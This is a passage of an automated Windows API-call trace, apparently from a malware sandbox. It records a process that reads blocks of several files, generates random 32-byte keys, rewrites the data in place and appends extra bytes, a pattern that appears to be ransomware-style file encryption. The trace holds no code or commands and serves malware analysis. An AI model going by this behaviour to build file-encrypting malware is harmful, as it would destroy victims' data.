lpNewFilePointer=0xffffffff) returned 1 [0084.546] WriteFile (in: hFile=0x888, lpBuffer=0x41b1088*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x285fd44, lpOverlapped=0x0 | out: lpBuffer=0x41b1088*, lpNumberOfBytesWritten=0x285fd44*=0x1000, lpOverlapped=0x0) returned 1 [0084.546] GetProcessHeap () returned 0x540000 [0084.546] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333fef0 [0084.546] GetProcessHeap () returned 0x540000 [0084.546] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0084.546] GetProcessHeap () returned 0x540000 [0084.546] RtlReAllocateHeap (Heap=0x540000, Flags=0x8, Ptr=0x333ff00, Size=0x20) returned 0x331ea88 [0084.546] GetProcessHeap () returned 0x540000 [0084.546] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0084.546] GetProcessHeap () returned 0x540000 [0084.546] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x333ff00, Size=0x20) returned 0x331f258 [0084.546] GetProcessHeap () returned 0x540000 [0084.546] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0084.546] GetProcessHeap () returned 0x540000 [0084.546] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0084.546] GetProcessHeap () returned 0x540000 [0084.546] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0084.546] GetProcessHeap () returned 0x540000 [0084.546] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0084.546] GetProcessHeap () returned 0x540000 [0084.546] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0084.546] GetProcessHeap () returned 0x540000 [0084.546] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0084.546] GetProcessHeap () returned 0x540000 [0084.547] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0084.547] GetProcessHeap () returned 0x540000 [0084.547] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0084.547] GetProcessHeap () returned 0x540000 [0084.547] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0084.547] GetProcessHeap () returned 0x540000 [0084.547] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0084.547] GetProcessHeap () returned 0x540000 [0084.547] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0084.547] GetProcessHeap () returned 0x540000 [0084.547] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0084.547] GetProcessHeap () returned 0x540000 [0084.547] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0084.547] GetProcessHeap () returned 0x540000 [0084.547] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0084.547] GetProcessHeap () returned 0x540000 [0084.547] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0084.547] GetProcessHeap () returned 0x540000 [0084.547] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0084.547] GetProcessHeap () returned 0x540000 [0084.547] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0084.547] GetProcessHeap () returned 0x540000 [0084.547] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0084.547] GetProcessHeap () returned 0x540000 [0084.547] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0084.547] GetProcessHeap () returned 0x540000 [0084.547] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0084.547] GetProcessHeap () returned 0x540000 [0084.547] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0084.547] GetProcessHeap () returned 0x540000 [0084.547] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0084.547] GetProcessHeap () returned 0x540000 [0084.547] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0084.547] GetProcessHeap () returned 0x540000 [0084.547] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0084.547] GetProcessHeap () returned 0x540000 [0084.547] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0084.547] GetProcessHeap () returned 0x540000 [0084.547] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0084.547] GetProcessHeap () returned 0x540000 [0084.548] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0084.548] GetProcessHeap () returned 0x540000 [0084.548] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0084.548] GetProcessHeap () returned 0x540000 [0084.548] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0084.548] GetProcessHeap () returned 0x540000 [0084.548] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0084.548] GetProcessHeap () returned 0x540000 [0084.548] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0084.548] GetProcessHeap () returned 0x540000 [0084.548] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0084.548] GetProcessHeap () returned 0x540000 [0084.548] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0084.548] GetProcessHeap () returned 0x540000 [0084.548] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x24) returned 0x330ace8 [0084.548] GetProcessHeap () returned 0x540000 [0084.548] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0084.548] GetProcessHeap () returned 0x540000 [0084.548] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x40) returned 0x331fdf0 [0084.548] GetProcessHeap () returned 0x540000 [0084.548] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x330ace8 | out: hHeap=0x540000) returned 1 [0084.548] GetProcessHeap () returned 0x540000 [0084.548] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1f70 [0084.548] GetProcessHeap () returned 0x540000 [0084.548] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331fdf0 | out: hHeap=0x540000) returned 1 [0084.548] GetProcessHeap () returned 0x540000 [0084.548] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345b00 [0084.549] GetProcessHeap () returned 0x540000 [0084.549] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1f70 | out: hHeap=0x540000) returned 1 [0084.549] GetProcessHeap () returned 0x540000 [0084.549] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1f8) returned 0x573730 [0084.549] GetProcessHeap () returned 0x540000 [0084.549] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345b00 | out: hHeap=0x540000) returned 1 [0084.549] GetProcessHeap () returned 0x540000 [0084.549] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0084.549] GetProcessHeap () returned 0x540000 [0084.549] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x573730 | out: hHeap=0x540000) returned 1 [0084.549] GetProcessHeap () returned 0x540000 [0084.549] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0084.549] GetProcessHeap () returned 0x540000 [0084.549] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0084.549] GetProcessHeap () returned 0x540000 [0084.549] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0084.549] GetProcessHeap () returned 0x540000 [0084.549] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0084.549] GetProcessHeap () returned 0x540000 [0084.549] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0084.549] GetProcessHeap () returned 0x540000 [0084.549] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0084.549] GetProcessHeap () returned 0x540000 [0084.549] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0084.549] GetProcessHeap () returned 0x540000 [0084.549] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0084.549] GetProcessHeap () returned 0x540000 [0084.549] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0084.549] GetProcessHeap () returned 0x540000 [0084.549] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0084.550] GetProcessHeap () returned 0x540000 [0084.550] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0084.550] GetProcessHeap () returned 0x540000 [0084.550] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0084.550] GetProcessHeap () returned 0x540000 [0084.550] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0084.550] GetProcessHeap () returned 0x540000 [0084.550] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0084.550] GetProcessHeap () returned 0x540000 [0084.550] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0084.550] GetProcessHeap () returned 0x540000 [0084.550] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0084.550] GetProcessHeap () returned 0x540000 [0084.550] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0084.550] GetProcessHeap () returned 0x540000 [0084.550] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0084.550] GetProcessHeap () returned 0x540000 [0084.550] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0084.550] GetProcessHeap () returned 0x540000 [0084.550] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0084.550] GetProcessHeap () returned 0x540000 [0084.550] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0084.550] GetProcessHeap () returned 0x540000 [0084.550] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0084.550] GetProcessHeap () returned 0x540000 [0084.550] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x220) returned 0x3340258 [0084.550] GetProcessHeap () returned 0x540000 [0084.550] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0084.550] GetProcessHeap () returned 0x540000 [0084.550] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333fef0 | out: hHeap=0x540000) returned 1 [0084.551] GetProcessHeap () returned 0x540000 [0084.551] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331f258 | out: hHeap=0x540000) returned 1 [0084.551] GetProcessHeap () returned 0x540000 [0084.551] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0084.551] GetProcessHeap () returned 0x540000 [0084.551] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ea88 | out: hHeap=0x540000) returned 1 [0084.551] SetFilePointerEx (in: hFile=0x888, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.551] WriteFile (in: hFile=0x888, lpBuffer=0x3345c08*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285fd44, lpOverlapped=0x0 | out: lpBuffer=0x3345c08*, lpNumberOfBytesWritten=0x285fd44*=0x100, lpOverlapped=0x0) returned 1 [0084.551] WriteFile (in: hFile=0x888, lpBuffer=0x285fd48*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x285fd44, lpOverlapped=0x0 | out: lpBuffer=0x285fd48*, lpNumberOfBytesWritten=0x285fd44*=0x4, lpOverlapped=0x0) returned 1 [0084.551] GetProcessHeap () returned 0x540000 [0084.551] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x41b1088 | out: hHeap=0x540000) returned 1 [0084.551] GetProcessHeap () returned 0x540000 [0084.551] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ef10 | out: hHeap=0x540000) returned 1 [0084.551] GetProcessHeap () returned 0x540000 [0084.551] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345c08 | out: hHeap=0x540000) returned 1 [0084.551] CloseHandle (hObject=0x888) returned 1 [0084.553] InterlockedExchangeAdd (in: Addend=0x40f168, Value=1 | out: Addend=0x40f168) returned 68 [0084.553] SetFilePointerEx (in: hFile=0x88c, liDistanceToMove=0xfffffffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.553] ReadFile (in: hFile=0x88c, lpBuffer=0x285fd4c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x285fd08, lpOverlapped=0x0 | out: lpBuffer=0x285fd4c*, lpNumberOfBytesRead=0x285fd08*=0x0, lpOverlapped=0x0) returned 1 [0084.553] SetFilePointerEx (in: hFile=0x88c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.553] GetProcessHeap () returned 0x540000 [0084.553] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345c08 [0084.553] GetProcessHeap () returned 0x540000 [0084.553] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x331ef10 [0084.553] SystemFunction036 (in: RandomBuffer=0x331ef10, RandomBufferLength=0x20 | out: RandomBuffer=0x331ef10) returned 1 [0084.553] GetProcessHeap () returned 0x540000 [0084.553] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x1000) returned 0x41b1088 [0084.553] ReadFile (in: hFile=0x88c, lpBuffer=0x41b1088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x285fd08, lpOverlapped=0x0 | out: lpBuffer=0x41b1088*, lpNumberOfBytesRead=0x285fd08*=0x1000, lpOverlapped=0x0) returned 1 [0084.601] SetFilePointerEx (in: hFile=0x88c, liDistanceToMove=0xfffff000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0084.601] WriteFile (in: hFile=0x88c, lpBuffer=0x41b1088*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x285fd44, lpOverlapped=0x0 | out: lpBuffer=0x41b1088*, lpNumberOfBytesWritten=0x285fd44*=0x1000, lpOverlapped=0x0) returned 1 [0084.601] GetProcessHeap () returned 0x540000 [0084.601] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333fef0 [0084.601] GetProcessHeap () returned 0x540000 [0084.601] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0084.601] GetProcessHeap () returned 0x540000 [0084.601] RtlReAllocateHeap (Heap=0x540000, Flags=0x8, Ptr=0x333ff00, Size=0x20) returned 0x331ea88 [0084.601] GetProcessHeap () returned 0x540000 [0084.601] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0084.601] GetProcessHeap () returned 0x540000 [0084.601] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x333ff00, Size=0x20) returned 0x331f258 [0084.601] GetProcessHeap () returned 0x540000 [0084.601] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0084.601] GetProcessHeap () returned 0x540000 [0084.601] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0084.601] GetProcessHeap () returned 0x540000 [0084.601] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0084.601] GetProcessHeap () returned 0x540000 [0084.601] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0084.601] GetProcessHeap () returned 0x540000 [0084.601] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0084.601] GetProcessHeap () returned 0x540000 [0084.601] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0084.601] GetProcessHeap () returned 0x540000 [0084.601] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0084.601] GetProcessHeap () returned 0x540000 [0084.601] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0084.602] GetProcessHeap () returned 0x540000 [0084.602] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0084.602] GetProcessHeap () returned 0x540000 [0084.602] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0084.602] GetProcessHeap () returned 0x540000 [0084.602] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0084.602] GetProcessHeap () returned 0x540000 [0084.602] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0084.602] GetProcessHeap () returned 0x540000 [0084.602] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0084.602] GetProcessHeap () returned 0x540000 [0084.602] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0084.602] GetProcessHeap () returned 0x540000 [0084.602] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0084.602] GetProcessHeap () returned 0x540000 [0084.602] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0084.602] GetProcessHeap () returned 0x540000 [0084.602] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0084.602] GetProcessHeap () returned 0x540000 [0084.602] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0084.602] GetProcessHeap () returned 0x540000 [0084.602] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0084.602] GetProcessHeap () returned 0x540000 [0084.602] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0084.602] GetProcessHeap () returned 0x540000 [0084.602] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0084.602] GetProcessHeap () returned 0x540000 [0084.602] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0084.602] GetProcessHeap () returned 0x540000 [0084.602] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0084.602] GetProcessHeap () returned 0x540000 [0084.602] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0084.602] GetProcessHeap () returned 0x540000 [0084.602] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0084.602] GetProcessHeap () returned 0x540000 [0084.602] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0084.602] GetProcessHeap () returned 0x540000 [0084.602] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0084.602] GetProcessHeap () returned 0x540000 [0084.602] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0084.603] GetProcessHeap () returned 0x540000 [0084.603] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0084.603] GetProcessHeap () returned 0x540000 [0084.603] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0084.603] GetProcessHeap () returned 0x540000 [0084.603] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0084.603] GetProcessHeap () returned 0x540000 [0084.603] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0084.603] GetProcessHeap () returned 0x540000 [0084.603] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0084.603] GetProcessHeap () returned 0x540000 [0084.603] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x24) returned 0x330ace8 [0084.603] GetProcessHeap () returned 0x540000 [0084.603] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0084.603] GetProcessHeap () returned 0x540000 [0084.603] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x40) returned 0x331fdf0 [0084.603] GetProcessHeap () returned 0x540000 [0084.603] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x330ace8 | out: hHeap=0x540000) returned 1 [0084.603] GetProcessHeap () returned 0x540000 [0084.603] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1f70 [0084.603] GetProcessHeap () returned 0x540000 [0084.603] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331fdf0 | out: hHeap=0x540000) returned 1 [0084.603] GetProcessHeap () returned 0x540000 [0084.603] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345b00 [0084.603] GetProcessHeap () returned 0x540000 [0084.603] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1f70 | out: hHeap=0x540000) returned 1 [0084.603] GetProcessHeap () returned 0x540000 [0084.603] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0084.603] GetProcessHeap () returned 0x540000 [0084.603] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345b00 | out: hHeap=0x540000) returned 1 [0084.603] GetProcessHeap () returned 0x540000 [0084.603] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0084.603] GetProcessHeap () returned 0x540000 [0084.603] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0084.603] GetProcessHeap () returned 0x540000 [0084.603] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0084.604] GetProcessHeap () returned 0x540000 [0084.604] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0084.604] GetProcessHeap () returned 0x540000 [0084.604] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0084.604] GetProcessHeap () returned 0x540000 [0084.604] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0084.604] GetProcessHeap () returned 0x540000 [0084.604] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0084.604] GetProcessHeap () returned 0x540000 [0084.604] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0084.604] GetProcessHeap () returned 0x540000 [0084.604] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0084.604] GetProcessHeap () returned 0x540000 [0084.604] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0084.604] GetProcessHeap () returned 0x540000 [0084.604] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0084.604] GetProcessHeap () returned 0x540000 [0084.604] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0084.604] GetProcessHeap () returned 0x540000 [0084.604] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0084.604] GetProcessHeap () returned 0x540000 [0084.604] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0084.604] GetProcessHeap () returned 0x540000 [0084.604] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0084.604] GetProcessHeap () returned 0x540000 [0084.604] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0084.604] GetProcessHeap () returned 0x540000 [0084.604] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0084.604] GetProcessHeap () returned 0x540000 [0084.604] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0084.605] GetProcessHeap () returned 0x540000 [0084.605] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0084.605] GetProcessHeap () returned 0x540000 [0084.605] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0084.605] GetProcessHeap () returned 0x540000 [0084.605] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0084.605] GetProcessHeap () returned 0x540000 [0084.605] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0084.605] GetProcessHeap () returned 0x540000 [0084.605] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0084.605] GetProcessHeap () returned 0x540000 [0084.605] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0084.605] GetProcessHeap () returned 0x540000 [0084.605] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x220) returned 0x3357d80 [0084.605] GetProcessHeap () returned 0x540000 [0084.605] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0084.605] GetProcessHeap () returned 0x540000 [0084.605] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333fef0 | out: hHeap=0x540000) returned 1 [0084.605] GetProcessHeap () returned 0x540000 [0084.605] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331f258 | out: hHeap=0x540000) returned 1 [0084.605] GetProcessHeap () returned 0x540000 [0084.605] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0084.605] GetProcessHeap () returned 0x540000 [0084.605] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ea88 | out: hHeap=0x540000) returned 1 [0084.605] SetFilePointerEx (in: hFile=0x88c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.605] WriteFile (in: hFile=0x88c, lpBuffer=0x3345c08*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285fd44, lpOverlapped=0x0 | out: lpBuffer=0x3345c08*, lpNumberOfBytesWritten=0x285fd44*=0x100, lpOverlapped=0x0) returned 1 [0084.605] WriteFile (in: hFile=0x88c, lpBuffer=0x285fd48*, 